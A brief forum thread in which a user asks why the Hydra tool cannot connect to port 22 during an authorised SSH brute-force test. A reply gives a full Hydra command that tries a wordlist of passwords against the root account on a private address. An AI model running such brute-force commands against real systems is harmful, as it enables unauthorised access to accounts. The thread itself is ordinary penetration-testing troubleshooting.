Hydra Cannot Connect To Port

[krispys]

Hey,
Im trying to brute force an SSH login (permission granted) with Hydra.
Except when i try it says that I cannot connect to the target port (22).
Whats up with that? I can ping the port and when i Nmap, I can see the port open... Any ideas? (No firewall)

From past experience, you either don't have root/admin or something is already using that port.

Works fine for me. Here is a example of the proper command syntax.

pwnsauce ~ # hydra 10.0.0.106 ssh2 -s 22 -v -V -l root -P /home/purehate/wordlists/hydralist.txt -t 10 -f
